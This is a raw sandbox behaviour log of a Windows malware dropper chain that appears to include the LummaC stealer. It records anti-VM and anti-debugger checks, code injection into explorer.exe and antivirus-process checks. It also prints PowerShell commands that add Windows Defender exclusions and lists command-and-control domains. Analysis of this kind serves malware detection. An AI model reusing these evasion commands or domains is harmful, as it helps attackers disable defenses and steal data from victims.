Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2516	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1740	Thread sleep count: 2634 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99859
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99734
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99607
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99499
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99329
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99217
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 99108
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98989
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98874
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98765
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98655
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98546
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98435
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98327
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98218
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 98109
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97999
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97890
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97781
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97671
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97562
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97453
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97343
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97234
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97124
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 97014
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96905
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96796
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96687
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96578
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96468
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96356
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96249
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96140
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 96031
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95916
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95810
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95702
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95593
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95484
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95374
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95265
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95155
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 95045
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94936
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94827
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94718
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94609
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94498
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Thread delayed: delay time: 94547
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 73aaed44cf.exe, 00000031.00000003.2841147778.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000003.2840181823.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2843865607.0000000000D39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 73aaed44cf.exe, 00000031.00000003.2840181823.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2843634399.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW {
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3097535633.0000000003B8E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000002C.00000002.2636413300.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000003.2841147778.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000003.2840181823.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2843865607.0000000000D39000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3100127740.00000120EC45C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000035.00000002.3094661506.00000120E702B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d59846009d.exe, 00000033.00000002.2993162010.00000000009AA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>g
Source: skotes.exe, 00000006.00000002.3094333474.0000000001508000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: file.exe, 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000002.00000002.1757713335.0000000000F05000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: PING.EXE, 0000002F.00000002.2667535963.000001F328399000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTT6
Source: PING.EXE, 0000002A.00000002.2653149739.0000020D9181B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: d59846009d.exe, 00000033.00000002.2993162010.0000000000932000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10452
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_1-10511
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10439
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_2-10498

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04C30C72 rdtsc

0_2_04C30C72

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8652B mov eax, dword ptr fs:[00000030h]	0_2_00C8652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8A302 mov eax, dword ptr fs:[00000030h]	0_2_00C8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D3A302 mov eax, dword ptr fs:[00000030h]	1_2_00D3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00D3652B mov eax, dword ptr fs:[00000030h]	1_2_00D3652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D3A302 mov eax, dword ptr fs:[00000030h]	2_2_00D3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00D3652B mov eax, dword ptr fs:[00000030h]	2_2_00D3652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D3A302 mov eax, dword ptr fs:[00000030h]	6_2_00D3A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D3652B mov eax, dword ptr fs:[00000030h]	6_2_00D3652B

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: Dry.com PID: 8124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d59846009d.exe PID: 1340, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7440 base: C43010 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 7260 base: 980010 value: 00

LummaC encrypted strings found

Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 7440
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 7260

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe "C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe "C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe "C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe "C:\Users\user\AppData\Local\Temp\1019253001\73aaed44cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe "C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "profiles" Organizing	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\245347\Dry.com Dry.com b	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\nmckayer"
Source: C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
